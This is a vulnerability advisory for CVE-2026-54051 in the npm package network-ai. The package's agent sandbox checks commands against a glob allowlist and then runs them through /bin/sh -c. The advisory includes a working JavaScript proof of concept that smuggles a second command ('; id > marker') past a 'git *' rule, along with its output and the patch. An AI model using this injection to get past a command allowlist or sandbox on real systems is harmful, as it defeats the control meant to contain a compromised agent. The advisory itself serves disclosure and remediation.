---
id: CVE-2026-54051
title: 'Network-AI: Improper Neutralization of Special Elements used in an OS Command '
summary: 'Network-AI: Improper Neutralization of Special Elements used in an OS Command '
severity: critical
cvss: 9.9
cwe:
  - CWE-78
vendor: network-ai
product: network-ai
affected:
  - network-ai < 5.9.1
patched:
  - network-ai 5.9.1
published: '2026-06-19'
updated: '2026-06-19'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-qw6v-5fcf-5666'
references:
  - url: >-
      https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666
  - url: 'https://github.com/advisories/GHSA-qw6v-5fcf-5666'
tags:
  - ghsa
  - npm
ingestedAt: '2026-06-22T15:59:08.207Z'
ecosystem: npm
epss: 0.00666
epssPercentile: 0.49724
---

## Overview

## Summary

The agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution.

## Root cause

Matching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag).

1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

## Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration.

## PoC

Installs `network-ai@5.8.5`, allows `git *`, then runs `git status; id > marker`.
The allowlist accepts it and the injected `id` runs.

Run: `npm i network-ai@5.8.5 && node poc-316.js`

```js
'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
  const marker = path.join(base, 'PWNED-316.txt');
  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
  const sh = new ShellExecutor(policy);

  const payload = `git status; id > ${marker}; echo INJECTED`;
  console.log('version:', require('network-ai/package.json').version);
  console.log('allowed:', policy.isCommandAllowed(payload));

  await sh.execute(payload);
  const ran = fs.existsSync(marker);
  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
  console.log(ran ? 'VULNERABLE' : 'not reproduced');
  process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });
```

Output:

```
version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE
```

## Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters.

## Possible fix

Do not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug.


## Patch

Fixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data.

**Remediation:** upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.

## Affected packages

- `network-ai < 5.9.1`

## Remediation

Upgrade to a patched release:

- `network-ai 5.9.1`